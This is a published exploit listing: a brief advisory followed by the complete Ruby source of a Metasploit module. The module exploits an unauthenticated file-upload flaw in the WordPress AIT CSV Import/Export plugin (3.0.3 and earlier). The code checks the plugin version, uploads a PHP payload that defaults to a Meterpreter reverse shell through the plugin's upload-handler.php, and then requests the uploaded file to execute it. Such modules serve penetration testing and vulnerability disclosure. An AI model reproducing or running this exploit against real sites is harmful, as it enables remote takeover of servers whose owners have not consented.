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WordPress AIT CSV Import/Export 3.0.3 Shell Upload

WordPress AIT CSV Import/Export 3.0.3 Shell Upload
Posted Jan 12, 2021
Authored by h00die | Site metasploit.com

WordPress AIT CSV Import/Export plugin versions 3.0.3 and below allow unauthenticated remote attackers to upload and execute arbitrary PHP code. The upload-handler does not require authentication, nor validates the uploaded content. It may return an error when attempting to parse a CSV, however the uploaded shell is left. The shell is uploaded to wp-content/uploads/. The plugin is not required to be activated to be exploitable.

tags | exploit, remote, arbitrary, shell, php
MD5 | c39ac90e0b404ac71d25decc4f495aec

WordPress AIT CSV Import/Export 3.0.3 Shell Upload

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress AIT CSV Import Export Unauthenticated Remote Code Execution',
'Description' => %q{
The AIT CSV Import/Export plugin <= 3.0.3 allows unauthenticated remote attackers to upload and
execute arbitrary PHP code. The upload-handler does not require authentication, nor validates
the uploaded content. It may return an error when attempting to parse a CSV, however the
uploaded shell is left. The shell is uploaded to wp-content/uploads/. The plugin is not
required to be activated to be exploitable.
},
'License' => MSF_LICENSE,
'Author' =>
[
# 0day according to wpvdb
'h00die', # msf module
],
'References' =>
[
[ 'URL', 'https://www.ait-themes.club/wordpress-plugins/csv-import-export/#changelog-popup' ],
[ 'WPVDB', '10471' ]
],
'Platform' => [ 'php' ],
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' =>
[
[
'AIT CSV Import Export <3.0.4',
{
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
}
]
],
'DisclosureDate' => '2020-11-14', # 0day detected by wpvdb
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path to WordPress installation', '/'])
]
)
end

def check
return CheckCode::Unknown unless wordpress_and_online?

# no readme file, just a changelog so we need the version from there
changelog = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'ait-csv-import-export', 'changelog.txt')
check_version_from_custom_file(changelog, /^v(\d\.\d\.\d),/, '3.0.4')
end

def exploit
filename = "#{Rex::Text.rand_text_alphanumeric(6)}.php"
register_file_for_cleanup(filename)

print_status("Uploading payload: #{filename}")

post_data = Rex::MIME::Message.new
post_data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'ait-csv-import-export', 'admin', 'upload-handler.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)

fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200

print_status('Triggering payload')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', filename)
)
end
end
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